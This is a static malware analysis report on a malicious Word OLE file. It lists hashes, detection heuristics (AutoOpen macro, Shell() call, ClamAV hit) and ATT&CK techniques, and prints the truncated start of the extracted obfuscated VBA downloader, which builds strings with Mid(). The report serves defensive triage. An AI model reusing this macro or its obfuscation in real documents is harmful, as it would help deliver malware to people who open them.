Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b01422f20f2bf5b4…

MALICIOUS

Office (OLE)

114.9 KB First seen: 2017-10-28
MD5: cd9d0b1308c30c70c5224bee43c118f9 SHA-1: 25136e6481914b824039004cf4fbdfab9d66ad85 SHA-256: b01422f20f2bf5b40586227007df15a558b6d843031460cda0f227bdc3aba85f
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Shell() call, indicating an attempt to run an external command. This strongly suggests the document is designed to download and execute a secondary payload, characteristic of a downloader malware.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 83673 bytes
SHA-256: ef8dbefbaf58faebc6ab44d739ebadfa261c0efa48899ae3668d7ba25bb22bcd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 158 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function VtwPTZrab()
WYAROowjWdU = "IJDYFAARURHtGivVNCoWLatcjmlXjlkGdIovjlCpDkCTSCYWrGQYIYcszjwjKPHOZAPztAmczzTaYaKhNPfaVMwEjwwCoTindntSmadrUnYIFBUWWPVvjhtNBLRwCjofVfzkhsummoFhnpzicbfYziEvujQbJjpkztnZEjpiUiJubMZMLmUaEPhmaCqBbTdFzViuCZasmAEPZJThGEPXLOjjLAwBsoCAFDvGdfJlLboDLSNQiIuXEGtlpziCaYAwwDJVOMEavdLkZdXtmiSjtfwzKJRizGKmbqFIIsCW7MMNX2UQFJ3T7XO19HE"
EjtmAOulZU = Mid(WYAROowjWdU, 12, 285)
KcdInVt = EjtmAOulZU
tEwRjIfVmF = "IMN93Y11J9H59FG4PnhiBHoIJruERIJATfpicFUippGhzUQsGpiSdGssCpHANiHuCNPnzLwJSwsMBHKpaBzcZqWNnzfnzTUHiMikEdvuqYzfNjrviSaMlfUMqCAzfKMzdliocalzFClAqrAGGkJitIVCrRtBdwPfMABbBCSEhdGitTWzCttuBhGUPbzLjjUJnFoppYSJ9Q45EDA88I98VXOPYXTL"
NaItqEzG = Mid(tEwRjIfVmF, 17, 182)
ERYQL = NaItqEzG
ncjiFGaZ = "AZAF6DCTRR1MBDMKXVjbcEwrHBLTGU2MM6QQ"
hRPUYQuI = Mid(ncjiFGaZ, 17, 10)
MMijOsIP = hRPUYQuI
GrJNaD = "VXP74JWZujdARlPwdYbapRASDhWJqjIOjsjWQSjWCi0F1ZKO22HMGB4FAY7WCZXCGFM"
BcIvht = Mid(GrJNaD, 9, 34)
ssfPnZGbn = BcIvht
NqOTMVIJCs = "14MJOH4BEHETcauJMMbpPsGQETGKKEvZdoSYJjYOkufwfZCWEBzFCIqRjKllCzhzaiqoHVzcnNEVNJkiQkGJGpWVzAswzmMmNiVAjOOiBURpDVEWaGVRrXqlIUqGdBfBARHinkvCVXIlYhSbvVYqRuuprksPXHFzpPplNajqLSvUPEMaCOKIdokFWSnDrjfOSIwIrjNVmifwwaZmXRMIwzVAfjOvmfwfnhCHIEiVBoVHLJ4HL51"
iEuhtj = Mid(NqOTMVIJCs, 11, 225)
zziKT = iEuhtj
TocMnWETF = "Z32TZRHYKRHKBDN9S85A9OSpnWZhKiXEipOzHKfzQBEOIaGujqNwzndMLVNmjdwANfpfUcVtQsqAJEjNQfzTRYGvMCnlzsSnEDAdlaZGVThFwdCHoAWAfcjpYuTSpjwXZDvFDDcpFqzzqBwjAjwzWRHbULEqHHRmWJjthwDlYhvoflwXvkRImzBHwTlswliwZLbjINLI89CZBJB3"
rZiDTbRcwrS = Mid(TocMnWETF, 22, 175)
ONYZTwsrwSt = rZiDTbRcwrS
WZOnNCG = "40KRTRHEI1vIlGwtAfZTWRUmvdIRSjGjALQYSiTiqHIbartcSClAYLQQhUMbaDiFPMIapYaWMrcOJtMDjfzQzGLouAqzRsImZCMOjTmtbC3E6E5BIL"
OuYjRZbi = Mid(WZOnNCG, 11, 95)
hwzWHp = OuYjRZbi
NvisYMWi = "7SPFIURIPNNBOKZIEDSEzPCnJXvuzjCUiiujLaFHYwJwunfjJdoqczkqScRZQlkkHTbJvINiwLjwGFsWsOlVuMrhuEOiIfqmOYpbLVlAPKrRQljNjvhBAOpvbuPruiVTUtkhPRKWdkFkUaQIUAzNzpmzjtzRGtGloYwXBBzRkKXPIEbBdGWtfIVfGlwWSsQjdUwwdtHTDhdnRWriSwozXMGjCRQPCbzruomoUFHBIRGY511RVTE2"
TRKDwBC = Mid(NvisYMWi, 17, 212)
AjLkHc = TRKDwBC
KpRYcBsPoT = "GJYMwVAOrzvcwtMrAAIPfiAfYAFzCrwuEZqGUCqYhqQXtBoFjdboPtsnjjowQBLzDAYXDGWzKkhpOdmXLAQYQIiKjDWoOsIfiQUscRCcGddfLDYFuQmPlnjuWNqAjijScCLzJtuuznSmizwdiRtzFstrjZWOaCtYuLDJsbwAVsSwVwPXPMVSolNkITQkXjTuttsTvplCUtcMZvWjJzzOjbjJzR5PQIY9UMZDQ6WBTARC7LAZXV35FWLBYN"
SCMIH = Mid(KpRYcBsPoT, 4, 214)
FruowIGKIL = SCMIH
zwDCioINO = "GOQMIB7XSFL2PUFBDdLYoWSwjNhuWpJAXIYzOLLmmwzPUKRCqiNfaaMldWBfRqLIPKDYwInsRYlqZCcZviEnbiawvnTrJjVwnoAJGYQLIH9H9L0D6HJK1PGQTL82NN"
OvljA = Mid(zwDCioINO, 14, 88)
XWijR = OvljA
fwHzAzjozZ = "LQ391mvuUGkVnHsuCaEZojZOCiEizXbuwWbWYhuuhzNHBfIjKhMPdIblwonNhRvziqXRjWVUfKrqWRNWVYTRKLQqupXkuhMQCQdKIrAoLrkSQkPjaQrJwdmSZjWqwlazzboFoCOdYiGSbwaKaqJdqDRYdKlbVJqaRnVowJsYCOkTXUrbGLPHbzHuKPbdRmHOojBoclNQwlabSzBJ6ZVQS"
SjJuqrszISw = Mid(fwHzAzjozZ, 6, 203)
LjhbRivT = SjJuqrszISw
SDwob = "TB47SRilzDtiwRucUpcTLoFcIjwtwbdLTSupuiadLAJGLHfkkN94G913"
KPTjcwTSVSF = Mid(SDwob, 6, 44)
FtukI = KPTjcwTSVSF
GdjIjqDwwKk = "D636FM4XD6RQ2HF10AT96QEGNTHKIiXkzDqziiNjtUDTERMQOQtMcrQbhltckDVnbDzUWIBUEhWiYfnccVZslLIHnOPtpkzqwPsARruFOYIvViDCzQAOddCQvshHsHfThfjJnmLkaTdNCNmELNwYkkNVMcFZKnNHtoNqwuPLFQoJApNiFcwfLGjzRNwKhlZnGWTOzwFQwkTTwEVXPWTirhvmFQYlwEdTqACiVziJWfjanPANsYvLSrwZajIjXUStHAdwBqCQnJMLBVzpPLsZJSAzDdDoqzmBMmSmmELIIDYK0YN"
zmGpUnPTz = Mid(GdjIjqDwwKk, 29, 267)
TAWNThiQ = zmGpUnPTz
DRBUd = "7SJ8BPDJTTJVJuiwTfaijiOHQGWfqTDwVwwJqWfcMNRKHQzUGhhICGjikiJVwSLqQLzLvZHwAwSTQDzzIBZJluwPRQYLNKfuCbuwRmZjZkHEnNRjiJMusBEVOkuiKLFRDE85IPP88DX1GDGMWZT6SBGYS"
HoGKzGZhoU = Mid(DRBUd, 10, 115)
wVqBiDrdBBw = HoGKzGZhoU
JNkYBvdJ = "XXU7X8JRW2BRZZUJIUTUXLrBrVkRPczRroIMcjMwdmuzhkJmEkCfnBVBIJCMAkvPWbaFfXVSEsQLQuTHLzMiZUdqSHDTjzzsrfaGJEHjPkavlKkOpvBCXQqCzkmXUClEuXTlTNwHqjPptiEHWodlwvUboYIYRjLUHA323U6SK1Y"
inHzwSOH = Mid(JNkYBvdJ,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.